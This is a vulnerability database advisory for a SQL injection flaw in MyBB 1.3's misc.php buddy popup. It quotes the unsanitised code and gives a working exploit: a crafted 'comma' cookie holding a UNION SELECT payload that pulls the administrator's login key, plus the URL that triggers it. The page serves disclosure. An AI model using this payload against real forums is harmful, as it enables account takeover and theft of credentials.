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Home arrow SecurityAlert Database

Arrow  Topic :

MyBB 1.3 NewSQL Injection


Arrow  SecurityAlert : 512
Arrow  CVE : CVE-2006-0959
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : D3vil-0x1
Arrow  Published : 01.03.2006

Arrow  Affected Software : MyBB 1.3



Arrow  Advisory Content :  

MyBB New SQL Injection

D3vil-0x1 < Devil-00 >


The Inf.File :-
misc.php

Linez :-

[code]
$buddies = $mybb->user['buddylist'];

$namesarray = explode(",",$buddies);

if(is_array($namesarray))

{

while(list($key, $buddyid) = each($namesarray))

{

$sql .= "$comma'$buddyid'"; <== HERE :) Uncleard Var !!

$comma = ",";

}

$timecut = time() - $mybb->settings['wolcutoff'];

$query = $db->query("SELECT u.*, g.canusepms FROM ".TABLE_PREFIX."users u
LEFT JOIN ".TABLE_PREFIX."usergroups g ON (g.gid=u.usergroup) WHERE u.uid
IN ($sql)");
[/code]

From 255 to 265

The GLOBALS unset function .. do not unset $_COOKIES ..
then u can start attacking any var by cookies :)

Tested MyBB 1.3 .. Register_Globals = On

Explorer Exploit :-

1- Login by any username ..
2- Create new cookie (
name => "comma"
value =>
"comma=0)%20%3C%3E%200%20UNION%20ALL%20SELECT%201,loginkey,3,4,5,6,7,8,9
,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5
,6,7,8,9,0,1,2,3,4,5,6,7,8,9,1 FROM mybb_users WHERE uid=1/*"
)

3- Check The URL :-
HOST/PATH/misc.php?action=buddypopup

Where HOST = The Vic.Server And PATH = MyBB Dir.




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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